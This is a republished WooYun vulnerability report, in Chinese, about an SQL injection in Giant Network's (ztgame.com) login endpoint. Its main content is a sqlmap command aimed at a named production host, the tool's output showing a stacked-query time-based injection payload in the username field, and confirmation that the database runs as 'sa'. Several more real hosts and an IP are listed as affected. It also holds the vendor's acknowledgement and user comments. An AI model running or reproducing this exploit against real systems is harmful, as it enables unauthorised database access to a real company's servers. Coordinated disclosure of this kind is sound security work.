巨人网络通用SQL注入一枚

admin 2017年3月30日12:24:44评论317 views字数 200阅读0分40秒阅读模式
摘要

2016-03-23: 细节已通知厂商并且等待厂商处理中
2016-03-24: 厂商已经确认,细节仅向厂商公开
2016-04-03: 细节向核心白帽子及相关领域专家公开
2016-04-13: 细节向普通白帽子公开
2016-04-23: 细节向实习白帽子公开
2016-05-08: 细节向公众公开

漏洞概要 关注数(13) 关注此漏洞

缺陷编号: WooYun-2016-188060

漏洞标题: 巨人网络通用SQL注入一枚

相关厂商: 巨人网络

漏洞作者: 路人甲

提交时间: 2016-03-23 12:37

公开时间: 2016-05-08 10:34

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: SQL注入

1人收藏


漏洞详情

披露状态:

2016-03-23: 细节已通知厂商并且等待厂商处理中
2016-03-24: 厂商已经确认,细节仅向厂商公开
2016-04-03: 细节向核心白帽子及相关领域专家公开
2016-04-13: 细节向普通白帽子公开
2016-04-23: 细节向实习白帽子公开
2016-05-08: 细节向公众公开

简要描述:

RT

详细说明:

code 区域
C:/Python27/sqlmap>sqlmap.py -u "http://download.ztgame.com:8088/j_acegi_securit
y_check" --data "Submit=%E7%A1%AE%E5%AE%9A&isChecked=0&targeturl=CasterPy&RtxRec
eivers=null&j_username=CasterPy*&j_password=CasterPy" --current-user
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-201512120967}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program

[*] starting at 12:30:05

custom injection marking character ('*') found in option '--data'. Do you want t
o process it? [Y/n/q] y
[12:30:06] [INFO] resuming back-end DBMS 'microsoft sql server'
[12:30:06] [INFO] testing connection to the target URL
sqlmap got a 302 redirect to 'http://download.ztgame.com:8088/vmain/loginamt.jsp
;jsessionid=4AEB0F8C61C985A8A24B1C20CBD40D9A?login_error=UsernameNotFoundExcepti
on'. Do you want to follow? [Y/n] y
redirect is a result of a POST request. Do you want to resend original POST data
to a new location? [Y/n] y
[12:30:08] [INFO] checking if the target is protected by some kind of WAF/IPS/ID
S
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* ((custom) POST)
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: Submit=%E7%A1%AE%E5%AE%9A&isChecked=0&targeturl=CasterPy&RtxReceive
rs=null&j_username=CasterPy';WAITFOR DELAY '0:0:5'--&j_password=CasterPy
---
[12:30:08] [INFO] the back-end DBMS is Microsoft SQL Server
web application technology: Tomcat 5.0, JSP, Servlet 2.5
back-end DBMS: Microsoft SQL Server 2012
[12:30:08] [INFO] fetching current user
[12:30:08] [WARNING] time-based comparison requires larger statistical model, pl
ease wait..............................
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option
'--time-sec')? [Y/n] y
[12:31:16] [WARNING] it is very important not to stress the network adapter duri
ng usage of time-based payloads to prevent potential errors
[12:31:16] [CRITICAL] connection dropped or unknown HTTP status code received. T
ry to force the HTTP User-Agent header with option '--user-agent' or switch '--r
andom-agent'. sqlmap is going to retry the request(s)
[12:31:27] [INFO] adjusting time delay to 2 seconds due to good response times
sa
current user: 'sa'

其他案例:

http://as.ztgame.com:8088/j_acegi_security_check

http://im.ztgame.com:8088/j_acegi_security_check

http://180.168.126.116:8088/j_acegi_security_check

https://bbc.ztgame.com:8443/j_acegi_security_check

post数据跟以上一样。

漏洞证明:

修复方案:

加个waf,这貌似是个通用程序,你看看有没有补丁之类的。。。

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2016-03-24 10:34

厂商回复:

感谢路人甲

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分


评价

  1. 2016-03-23 14:34 | 肖泽 ( 实习白帽子 | Rank:53 漏洞数:15 | ....)

    1

    卧槽,巨人网络的SQL洞

  2. 2016-03-23 15:57 | 龚稳 ( 实习白帽子 | Rank:50 漏洞数:18 | 没有做不到的,只有不想做的)

    1

    666666

  3. 2016-03-24 11:10 | 坏男孩-A_A ( 实习白帽子 | Rank:81 漏洞数:23 | 膜拜学习中)

    1

    通用SQL注入.....

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin